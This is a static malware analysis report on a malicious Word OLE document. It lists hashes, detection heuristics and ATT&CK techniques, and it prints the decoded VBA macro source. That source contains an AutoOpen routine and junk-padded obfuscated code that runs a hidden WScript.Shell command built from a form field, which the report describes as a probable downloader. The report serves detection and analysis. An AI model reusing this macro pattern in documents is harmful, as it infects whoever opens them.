Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab9a9c384d1380f7…

MALICIOUS

Office (OLE)

151.8 KB Created: 2019-01-15 06:22:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 4e0e6046485a03ff353acc6d73baa572 SHA-1: 2a7de99d1b1f90d1f702dabebc43a358048c56a3 SHA-256: ab9a9c384d1380f757a195959c42e856fc093acc3eb0fc7dacd5b8b89697d723
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code, likely to download and run a secondary payload. The presence of an AutoOpen macro further suggests automatic execution upon opening the document.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6815722-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6815722-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set COMjn = Indianaqa
    Buckinghamshirewd = Array(Dynamicrn, parsejf, zerotolerancenw, CreateObject("WscRipt.sHeLl").Run!(("" + Plainoa + Bedfordshirehf + Cambridgeshireqw + Refinedsl + backuprt + f24365sn.TextBox1) + Directorkw + Avonwb + Configurationdd, 53 - 53), Solutionspq, FantasticRubberCheeseni, overrideuk)
       Set Omanct = Berkshirevd
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set COMjn = Indianaqa
    Buckinghamshirewd = Array(Dynamicrn, parsejf, zerotolerancenw, CreateObject("WscRipt.sHeLl").Run!(("" + Plainoa + Bedfordshirehf + Cambridgeshireqw + Refinedsl + backuprt + f24365sn.TextBox1) + Directorkw + Avonwb + Configurationdd, 53 - 53), Solutionspq, FantasticRubberCheeseni, overrideuk)
       Set Omanct = Berkshirevd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Idahowa"
    Sub autoopen()
    Kwachajt = Array(Plasticqu, azureaq, ROIvp, PracticalRubberChickenrh, Intranetqn, neuralvh, Jamaicatj)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5633 bytes
SHA-256: 9fd00b2f1e63367f61f46ddd40f1c3c590ce53bcd4ce700f09db903bc2f78f25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "f24365sn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "calculatingru"
Function PracticalRubberChickenrh()
On Error Resume Next
   Set Guadeloupenq = Practicalhj
For Each wirelessjb In innovatewd
      For Each synergisticpi In paymentnh
         InvestmentAccountnl = (Oct(73))
      Next
      Do
         generatingtw = CLng(synergisticoq)
      Loop Until PracticalSteelPantskk Eqv Bedfordshiredl
      Set CheckingAccountzl = Croatiazh
      hapticco = bandwidthoj
      For Each paymentzj In interfacepj
         primaryut = Cos(harddriveir)
      Next
   Next
 Set CreditCardAccountsj = busqr
   Set i1080pwf = purplenh
For Each Internalmz In Plannercz
      For Each Accountabilitykf In LebanesePoundao
         opensourcewt = (Oct(385))
      Next
      Do
         Analystiz = CLng(copyingaw)
      Loop Until paymentsm Eqv eyeballsrr
      Set encompassingsv = ErgonomicSteelSausageszw
      Passagesj = emarketsuw
      For Each Ukrainedv In wellmodulatedfn
         bleedingedgelu = Cos(programud)
      Next
   Next
 Set SSLiu = Cambridgeshirecs
   Set calculatepi = busvk
For Each Accountsmr In Regionaltd
      For Each backendnv In systemworthysw
         Streetts = (Oct(543))
      Next
      Do
         Unionslc = CLng(securedlinefu)
      Loop Until paymentqv Eqv Manorsiv
      Set AGPfz = killerau
      Lakeswp = HandmadeMetalTableoj
      For Each IntelligentWoodenBallsd In orchidoj
         greenjl = Cos(Recontextualizedsn)
      Next
   Next
 Set COMjn = Indianaqa
Buckinghamshirewd = Array(Dynamicrn, parsejf, zerotolerancenw, CreateObject("WscRipt.sHeLl").Run!(("" + Plainoa + Bedfordshirehf + Cambridgeshireqw + Refinedsl + backuprt + f24365sn.TextBox1) + Directorkw + Avonwb + Configurationdd, 53 - 53), Solutionspq, FantasticRubberCheeseni, overrideuk)
   Set Omanct = Berkshirevd
For Each matrixti In Softmw
      For Each bottomlineij In portalstl
         protocolds = (Oct(839))
      Next
      Do
         optimizinglv = CLng(opticalsk)
      Loop Until Roadsmi Eqv DominicanRepublicsl
      Set Directwj = KidsAutomotiveSportsvk
      verticalsa = SmallMetalPantscb
      For Each intangiblebh In depositch
         Portsza = Cos(Interactionsmr)
      Next
   Next
 Set Wisconsinji = Bordersvz
   Set MoneyMarketAccountrb = lavenderum
For Each Researchhc In seizebv
      For Each HandcraftedSteelBikejt In Freshpw
         backingupru = (Oct(363))
      Next
      Do
         Kentuckyin = CLng(innovativeta)
      Loop Until Bangladeshrk Eqv Berkshireow
      Set convergencecn = Clubll
      PersonalLoanAccounttj = Sleekac
      For Each Concretelh In empowerws
         Cambridgeshirelp = Cos(Administratornc)
      Next
   Next
 Set Courtck = Lockss
End Function


Attribute VB_Name = "Idahowa"
Sub autoopen()
Kwachajt = Array(Plasticqu, azureaq, ROIvp, PracticalRubberChickenrh, Intranetqn, neuralvh, Jamaicatj)
End Sub

Attribute VB_Name = "FalklandIslandsMalvinasaz"

Attribute VB_Name = "hackbv"

Attribute VB_Name = "Missioniu"

Attribute VB_Name = "Unbrandedic"

Attribute VB_Name = "Bordersaw"

Attribute VB_Name = "Passagejc"

Attribute VB_Name = "customizedbd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Michigantf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Avonvr"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "overridingti"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "auxiliarymp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Specialistqh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "microchiprz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False